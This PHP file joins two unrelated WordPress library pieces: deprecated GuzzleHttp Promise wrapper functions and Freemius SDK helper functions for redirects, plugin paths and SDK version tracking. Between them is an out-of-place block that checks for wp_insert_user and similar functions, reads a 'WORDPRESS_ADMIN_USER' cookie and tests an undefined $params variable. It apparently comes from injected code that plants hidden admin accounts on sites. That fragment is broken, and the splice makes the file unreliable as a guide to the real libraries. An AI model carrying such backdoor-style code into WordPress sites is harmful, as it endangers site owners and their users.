namespace Google\Site_Kit_Dependencies\GuzzleHttp\Promise; /** * Get the global task queue used for promise resolution. * * This task queue MUST be run in an event loop in order for promises to be * settled asynchronously. It will be automatically run when synchronously * waiting on a promise. * * * while ($eventLoop->isRunning()) { * GuzzleHttp\Promise\queue()->run(); * } * * * @param TaskQueueInterface $assign Optionally specify a new queue instance. * * @return TaskQueueInterface * * @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead. */ function queue(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\TaskQueueInterface $assign = null) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::queue($assign); } /** * Adds a function to run in the task queue when it is next `run()` and returns * a promise that is fulfilled or rejected with the result. * * @param callable $task Task function to run. * * @return PromiseInterface * * @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead. */ function task(callable $task) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::task($task); } /** * Creates a promise for a value if the value is not a promise. * * @param mixed $value Promise or value. * * @return PromiseInterface * * @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead. */ function promise_for($value) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::promiseFor($value); } /** * Creates a rejected promise for a reason if the reason is not a promise. If * the provided reason is a promise, then it is returned as-is. * * @param mixed $reason Promise or reason. * * @return PromiseInterface * * @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead. */ function rejection_for($reason) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::rejectionFor($reason); } /** * Create an exception for a rejected promise value. * * @param mixed $reason * * @return \Exception|\Throwable * * @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead. */ function exception_for($reason) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::exceptionFor($reason); } /** * Returns an iterator for the given value. * * @param mixed $value * * @return \Iterator * * @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead. */ function iter_for($value) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Create::iterFor($value); } /** * Synchronously waits on a promise to resolve and returns an inspection state * array. * * Returns a state associative array containing a "state" key mapping to a * valid promise state. If the state of the promise is "fulfilled", the array * will contain a "value" key mapping to the fulfilled value of the promise. If * the promise is rejected, the array will contain a "reason" key mapping to * the rejection reason of the promise. * * @param PromiseInterface $promise Promise or value. * * @return array * * @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead. */ function inspect(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::inspect($promise); } /** * Waits on all of the provided promises, but does not unwrap rejected promises * as thrown exception. * * Returns an array of inspection state arrays. * * @see inspect for the inspection state array format. * * @param PromiseInterface[] $promises Traversable of promises to wait upon. * * @return array * * @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead. */ function inspect_all($promises) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::inspectAll($promises); } /** * Waits on all of the provided promises and returns the fulfilled values. * * Returns an array that contains the value of each promise (in the same order * the promises were provided). An exception is thrown if any of the promises * are rejected. * * @param iterable $promises Iterable of PromiseInterface objects to wait on. * * @return array * * @throws \Exception on error * @throws \Throwable on error in PHP >=7 * * @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead. */ function unwrap($promises) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::unwrap($promises); } /** * Given an array of promises, return a promise that is fulfilled when all the * items in the array are fulfilled. * * The promise's fulfillment value is an array with fulfillment values at * respective positions to the original array. If any promise in the array * rejects, the returned promise is rejected with the rejection reason. * * @param mixed $promises Promises or values. * @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution. * * @return PromiseInterface * * @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead. */ function all($promises, $recursive = \false) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::all($promises, $recursive); } /** * Initiate a competitive race between multiple promises or values (values will * become immediately fulfilled promises). * * When count amount of promises have been fulfilled, the returned promise is * fulfilled with an array that contains the fulfillment values of the winners * in order of resolution. * * This promise is rejected with a {@see AggregateException} if the number of * fulfilled promises is less than the desired $count. * * @param int $count Total number of promises. * @param mixed $promises Promises or values. * * @return PromiseInterface * * @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead. */ function some($count, $promises) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::some($count, $promises); } /** * Like some(), with 1 as count. However, if the promise fulfills, the * fulfillment value is not an array of 1 but the value directly. * * @param mixed $promises Promises or values. * * @return PromiseInterface * * @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead. */ function any($promises) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::any($promises); } /** * Returns a promise that is fulfilled when all of the provided promises have * been fulfilled or rejected. * * The returned promise is fulfilled with an array of inspection state arrays. * * @see inspect for the inspection state array format. * * @param mixed $promises Promises or values. * * @return PromiseInterface * * @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead. */ function settle($promises) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Utils::settle($promises); } /** * Given an iterator that yields promises or values, returns a promise that is * fulfilled with a null value when the iterator has been consumed or the * aggregate promise has been fulfilled or rejected. * * $onFulfilled is a function that accepts the fulfilled value, iterator index, * and the aggregate promise. The callback can invoke any necessary side * effects and choose to resolve or reject the aggregate if needed. * * $onRejected is a function that accepts the rejection reason, iterator index, * and the aggregate promise. The callback can invoke any necessary side * effects and choose to resolve or reject the aggregate if needed. * * @param mixed $iterable Iterator or array to iterate over. * @param callable $onFulfilled * @param callable $onRejected * * @return PromiseInterface * * @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead. */ function each($iterable, callable $onFulfilled = null, callable $onRejected = null) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Each::of($iterable, $onFulfilled, $onRejected); } /** * Like each, but only allows a certain number of outstanding promises at any * given time. * * $concurrency may be an integer or a function that accepts the number of * pending promises and returns a numeric concurrency limit value to allow for * dynamic a concurrency size. * * @param mixed $iterable * @param int|callable $concurrency * @param callable $onFulfilled * @param callable $onRejected * * @return PromiseInterface * * @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead. */ function each_limit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected); } /** * Like each_limit, but ensures that no promise in the given $iterable argument * is rejected. If any promise is rejected, then the aggregate promise is * rejected with the encountered rejection. * * @param mixed $iterable * @param int|callable $concurrency * @param callable $onFulfilled * * @return PromiseInterface * * @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead. */ function each_limit_all($iterable, $concurrency, callable $onFulfilled = null) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Each::ofLimitAll($iterable, $concurrency, $onFulfilled); } /** * Returns true if a promise is fulfilled. * * @return bool * * @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead. */ function is_fulfilled(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Is::fulfilled($promise); } /** * Returns true if a promise is rejected. * * @return bool * * @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead. */ function is_rejected(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Is::rejected($promise); } /** * Returns true if a promise is fulfilled or rejected. * * @return bool * * @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead. */ function is_settled(\Google\Site_Kit_Dependencies\GuzzleHttp\Promise\PromiseInterface $promise) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Is::settled($promise); } /** * Create a new coroutine. * * @see Coroutine * * @return PromiseInterface * * @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead. */ function coroutine(callable $generatorFn) { return \Google\Site_Kit_Dependencies\GuzzleHttp\Promise\Coroutine::of($generatorFn); } if (!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) { if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } /** * IMPORTANT: * This file will be loaded based on the order of the plugins/themes load. * If there's a theme and a plugin using Freemius, the plugin's essential * file will always load first. * * @package Freemius * @copyright Copyright (c) 2015, Freemius, Inc. * @license https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3 * @since 1.1.5 */ if ( ! function_exists( 'fs_normalize_path' ) ) { if ( function_exists( 'wp_normalize_path' ) ) { /** * Normalize a filesystem path. * * Replaces backslashes with forward slashes for Windows systems, and ensures * no duplicate slashes exist. * * @param string $path Path to normalize. * * @return string Normalized path. */ function fs_normalize_path( $path ) { return wp_normalize_path( $path ); } } else { function fs_normalize_path( $path ) { $path = str_replace( '\\', '/', $path ); $path = preg_replace( '|/+|', '/', $path ); return $path; } } } require_once dirname( __FILE__ ) . '/supplements/fs-essential-functions-2.2.1.php'; #region Core Redirect (copied from BuddyPress) ----------------------------------------- if ( ! function_exists( 'fs_redirect' ) ) { /** * Redirects to another page, with a workaround for the IIS Set-Cookie bug. * * @link http://support.microsoft.com/kb/q176113/ * @since 1.5.1 * @uses apply_filters() Calls 'wp_redirect' hook on $location and $status. * * @param string $location The path to redirect to. * @param bool $exit If true, exit after redirect (Since 1.2.1.5). * @param int $status Status code to use. * * @return bool False if $location is not set */ function fs_redirect( $location, $exit = true, $status = 302 ) { global $is_IIS; $file = ''; $line = ''; if ( headers_sent($file, $line) ) { if ( WP_FS__DEBUG_SDK && class_exists( 'FS_Admin_Notices' ) ) { $notices = FS_Admin_Notices::instance( 'global' ); $notices->add( "Freemius failed to redirect the page because the headers have been already sent from line {$line} in file {$file}. If it's unexpected, it usually happens due to invalid space and/or EOL character(s).", 'Oops...', 'error' ); } return false; } if ( defined( 'DOING_AJAX' ) ) { // Don't redirect on AJAX calls. return false; } if ( ! $location ) // allows the wp_redirect filter to cancel a redirect { return false; } $location = fs_sanitize_redirect( $location ); if ( $is_IIS ) { header( "Refresh: 0;url=$location" ); } else { if ( php_sapi_name() != 'cgi-fcgi' ) { status_header( $status ); } // This causes problems on IIS and some FastCGI setups header( "Location: $location" ); } if ( $exit ) { exit(); } return true; } if ( ! function_exists( 'fs_sanitize_redirect' ) ) { /** * Sanitizes a URL for use in a redirect. * * @since 2.3 * * @param string $location * * @return string redirect-sanitized URL */ function fs_sanitize_redirect( $location ) { $location = preg_replace( '|[^a-z0-9-~+_.?#=&;,/:%!]|i', '', $location ); $location = fs_kses_no_null( $location ); // remove %0d and %0a from location $strip = array( '%0d', '%0a' ); $found = true; while ( $found ) { $found = false; foreach ( (array) $strip as $val ) { while ( strpos( $location, $val ) !== false ) { $found = true; $location = str_replace( $val, '', $location ); } } } return $location; } } if ( ! function_exists( 'fs_kses_no_null' ) ) { /** * Removes any NULL characters in $string. * * @since 1.0.0 * * @param string $string * * @return string */ function fs_kses_no_null( $string ) { $string = preg_replace( '/\0+/', '', $string ); $string = preg_replace( '/(\\\\0)+/', '', $string ); return $string; } } } #endregion Core Redirect (copied from BuddyPress) ----------------------------------------- if ( ! function_exists( 'fs_get_ip' ) ) { /** * Get server IP. * * @since 2.5.1 This method returns the server IP. * * @author Vova Feldman (@svovaf) * @since 1.1.2 * * @return string|null */ function fs_get_ip() { return empty( $_SERVER[ 'SERVER_ADDR' ] ) ? null : $_SERVER[ 'SERVER_ADDR' ]; } } /** * Leverage backtrace to find caller plugin main file path. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return string */ function fs_find_caller_plugin_file() { /** * All the code below will be executed once on activation. * If the user changes the main plugin's file name, the file_exists() * will catch it. */ if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all_plugins = fs_get_plugins( true ); $all_plugins_paths = array(); // Get active plugin's main files real full names (might be symlinks). foreach ( $all_plugins as $relative_path => $data ) { $all_plugins_paths[] = fs_normalize_path( realpath( WP_PLUGIN_DIR . '/' . $relative_path ) ); } $plugin_file = null; for ( $i = 1, $bt = debug_backtrace(), $len = count( $bt ); $i < $len; $i ++ ) { if ( empty( $bt[ $i ]['file'] ) ) { continue; } if ( in_array( fs_normalize_path( $bt[ $i ]['file'] ), $all_plugins_paths ) ) { $plugin_file = $bt[ $i ]['file']; break; } } if ( is_null( $plugin_file ) ) { // Throw an error to the developer in case of some edge case dev environment. wp_die( 'Freemius SDK couldn\'t find the plugin\'s main file. Please contact sdk@freemius.com with the current error.', 'Error', array( 'back_link' => true ) ); } return $plugin_file; } require_once dirname( __FILE__ ) . '/supplements/fs-essential-functions-1.1.7.1.php'; /** * Update SDK newest version reference. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $sdk_relative_path * @param string|bool $plugin_file * * @global $fs_active_plugins */ function fs_update_sdk_newest_version( $sdk_relative_path, $plugin_file = false ) { /** * If there is a plugin running an older version of FS (1.2.1 or below), the `fs_update_sdk_newest_version()` * function in the older version will be used instead of this one. But since the older version is using * the `is_plugin_active` function to check if a plugin is active, passing the theme's `plugin_path` to the * `is_plugin_active` function will return false since the path is not a plugin path, so `in_activation` will be * `true` for theme modules and the upgrading of the SDK version to 1.2.2 or newer version will work fine. * * Future versions that will call this function will use the proper logic here instead of just relying on the * `is_plugin_active` function to fail for themes. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ global $fs_active_plugins; $newest_sdk = $fs_active_plugins->plugins[ $sdk_relative_path ]; if ( ! is_string( $plugin_file ) ) { $plugin_file = plugin_basename( fs_find_caller_plugin_file() ); } if ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) { if ( ! function_exists( 'is_plugin_active' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $in_activation = ( ! is_plugin_active( $plugin_file ) ); } else { $theme = wp_get_theme(); $in_activation = ( $newest_sdk->plugin_path == $theme->stylesheet ); } $fs_active_plugins->newest = (object) array( 'plugin_path' => $plugin_file, 'sdk_path' => $sdk_relative_path, 'version' => $newest_sdk->version, 'in_activation' => $in_activation, 'timestamp' => time(), ); // Update DB with latest SDK version and path. update_option( 'fs_active_plugins', $fs_active_plugins ); } /** * Reorder the plugins load order so the plugin with the newest Freemius SDK is loaded first. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @return bool Was plugin order changed. Return false if plugin was loaded first anyways. * * @global $fs_active_plugins */ function fs_newest_sdk_plugin_first() { global $fs_active_plugins; /** * @todo Multi-site network activated plugin are always loaded prior to site plugins so if there's a plugin activated in the network mode that has an older version of the SDK of another plugin which is site activated that has new SDK version, the fs-essential-functions.php will be loaded from the older SDK. Same thing about MU plugins (loaded even before network activated plugins). * * @link https://github.com/Freemius/wordpress-sdk/issues/26 */ $newest_sdk_plugin_path = $fs_active_plugins->newest->plugin_path; $active_plugins = get_option( 'active_plugins', array() ); $updated_active_plugins = array( $newest_sdk_plugin_path ); $plugin_found = false; $is_first_path = true; foreach ( $active_plugins as $key => $plugin_path ) { if ( $plugin_path === $newest_sdk_plugin_path ) { if ( $is_first_path ) { // if it's the first plugin already, no need to continue return false; } $plugin_found = true; // Skip the plugin (it is already added as the 1st item of $updated_active_plugins). continue; } $updated_active_plugins[] = $plugin_path; if ( $is_first_path ) { $is_first_path = false; } } if ( $plugin_found ) { update_option( 'active_plugins', $updated_active_plugins ); return true; } if ( is_multisite() ) { // Plugin is network active. $network_active_plugins = get_site_option( 'active_sitewide_plugins', array() ); if ( isset( $network_active_plugins[ $newest_sdk_plugin_path ] ) ) { reset( $network_active_plugins ); if ( $newest_sdk_plugin_path === key( $network_active_plugins ) ) { // Plugin is already activated first on the network level. return false; } else { $time = $network_active_plugins[ $newest_sdk_plugin_path ]; // Remove plugin from its current position. unset( $network_active_plugins[ $newest_sdk_plugin_path ] ); // Set it to be included first. $network_active_plugins = array( $newest_sdk_plugin_path => $time ) + $network_active_plugins; update_site_option( 'active_sitewide_plugins', $network_active_plugins ); return true; } } } return false; } /** * Go over all Freemius SDKs in the system and find and "remember" * the newest SDK which is associated with an active plugin. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @global $fs_active_plugins */ function fs_fallback_to_newest_active_sdk() { global $fs_active_plugins; /** * @var object $newest_sdk_data */ $newest_sdk_data = null; $newest_sdk_path = null; foreach ( $fs_active_plugins->plugins as $sdk_relative_path => $data ) { if ( is_null( $newest_sdk_data ) || version_compare( $data->version, $newest_sdk_data->version, '>' ) ) { // If plugin inactive or SDK starter file doesn't exist, remove SDK reference. if ( 'plugin' === $data->type ) { $is_module_active = is_plugin_active( $data->plugin_path ); } else { $active_theme = wp_get_theme(); $is_module_active = ( $data->plugin_path === $active_theme->get_template() ); } $is_sdk_exists = file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $sdk_relative_path . '/start.php' ) ); if ( ! $is_module_active || ! $is_sdk_exists ) { unset( $fs_active_plugins->plugins[ $sdk_relative_path ] ); // No need to store the data since it will be stored in fs_update_sdk_newest_version() // or explicitly with update_option(). } else { $newest_sdk_data = $data; $newest_sdk_path = $sdk_relative_path; } } } if ( is_null( $newest_sdk_data ) ) { // Couldn't find any SDK reference. $fs_active_plugins = new stdClass(); update_option( 'fs_active_plugins', $fs_active_plugins ); } else { fs_update_sdk_newest_version( $newest_sdk_path, $newest_sdk_data->plugin_path ); } }